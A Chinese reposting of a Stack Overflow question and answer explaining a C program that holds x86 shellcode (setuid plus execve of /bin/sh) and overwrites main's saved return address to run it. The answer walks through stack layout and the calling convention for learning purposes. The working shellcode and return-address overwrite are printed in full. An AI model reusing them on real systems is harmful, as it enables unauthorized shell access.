gpt4 book ai didi

谁能给我解释一下这段代码?

转载 作者:太空狗 更新时间:2023-10-29 16:34:27 28 4
gpt4 key购买 nike

警告:这是一个漏洞利用。不要执行此代码。

//shellcode.c

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() {
int *ret; //ret pointer for manipulating saved return.

ret = (int *)&ret + 2; //setret to point to the saved return
//value on the stack.

(*ret) = (int)shellcode; //change the saved return value to the
//address of the shellcode, so it executes.
}

谁能给我一个更好的解释?

最佳答案

显然,这段代码试图改变堆栈,以便当 main函数返回,程序执行不会定期返回运行时库(通常会终止程序),而是跳转到保存在 shellcode 中的代码中。大批。

1) int *ret;
在堆栈上定义一个变量,就在 main 的下面函数的参数。

2) ret = (int *)&ret + 2;
ret变量指向 int *即放置两个 int s 以上 ret在堆栈上。据说这就是返回地址所在的位置,当 main 时程序将继续返回。

2) (*ret) = (int)shellcode;
返回地址设置为shellcode的地址数组的内容,所以 shellcode的内容将在 main 时执行返回。
shellcode似乎包含可能执行系统调用以启动 /bin/sh 的机器指令.我可能是错的,因为我实际上并没有拆卸 shellcode .

附注:此代码依赖于机器和编译器,可能无法在所有平台上运行。

回复您的第二个问题:

and what happens if I use ret=(int)&ret +2 and why did we add 2? why not 3 or 4??? and I think that int is 4 bytes so 2 will be 8bytes no?


ret被声明为 int* ,因此分配一个 int (例如 (int)&ret )将是一个错误。至于为什么添加 2 而不是任何其他数字:显然是因为此代码假定返回地址将位于堆栈上的该位置。考虑以下:
  • 此代码假定调用堆栈在向其推送某些内容时向下增长(就像使用 Intel 处理器时确实如此)。这就是为什么要加数而不是减数的原因:返回地址位于比自动(局部)变量(例如 ret )更高的内存地址。
  • 根据我在英特尔组装时代的内存,C 函数通常是这样调用的:首先,所有参数都以相反的顺序(从右到左)压入堆栈。然后,调用该函数。返回地址因此被压入堆栈。然后,设置一个新的堆栈帧,其中包括推送 ebp注册到堆栈中。然后,局部变量被设置在堆栈上,直到此时为止已经被推到它上面的所有变量。

  • 现在我假设您的程序具有以下堆栈布局:
    +-------------------------+
    | function arguments | |
    | (e.g. argv, argc) | | (note: the stack
    +-------------------------+ <-- ss:esp + 12 | grows downward!)
    | return address | |
    +-------------------------+ <-- ss:esp + 8 V
    | saved ebp register |
    +-------------------------+ <-- ss:esp + 4 / ss:ebp - 0 (see code below)
    | local variable (ret) |
    +-------------------------+ <-- ss:esp + 0 / ss:ebp - 4

    底部是 ret (这是一个 32 位整数)。上面是保存的 ebp寄存器(也是 32 位宽)。上面是 32 位返回地址。 (上面是 main 的参数—— argcargv——但这些在这里并不重要。)当函数执行时,堆栈指针指向 ret .返回地址位于“上方”的 64 位 ret ,对应于 + 2
    ret = (int*)&ret + 2; 

    + 2因为 retint* , 和 int是 32 位,因此加 2 表示将其设置到 (int*)&ret 上方 2 × 32 位(=64 位)的内存位置...这将是返回地址的位置,如果上一段中的所有假设都是正确的。

    游览:让我用英特尔汇编语言演示如何调用 C 函数(如果我没记错的话——我不是这个主题的专家,所以我可能是错的):
    // first, push all function arguments on the stack in reverse order:
    push argv
    push argc

    // then, call the function; this will push the current execution address
    // on the stack so that a return instruction can get back here:
    call main

    // (afterwards: clean up stack by removing the function arguments, e.g.:)
    add esp, 8

    在 main 中,可能会发生以下情况:
    // create a new stack frame and make room for local variables:
    push ebp
    mov ebp, esp
    sub esp, 4

    // access return address:
    mov edi, ss:[ebp+4]

    // access argument 'argc'
    mov eax, ss:[ebp+8]

    // access argument 'argv'
    mov ebx, ss:[ebp+12]

    // access local variable 'ret'
    mov edx, ss:[ebp-4]

    ...

    // restore stack frame and return to caller (by popping the return address)
    mov esp, ebp
    pop ebp
    retf

    另见: procedure call sequence in C的说明对这个话题的另一种解释。

    关于谁能给我解释一下这段代码?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/2705854/

    28 4 0
    Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
    广告合作:1813099741@qq.com 6ren.com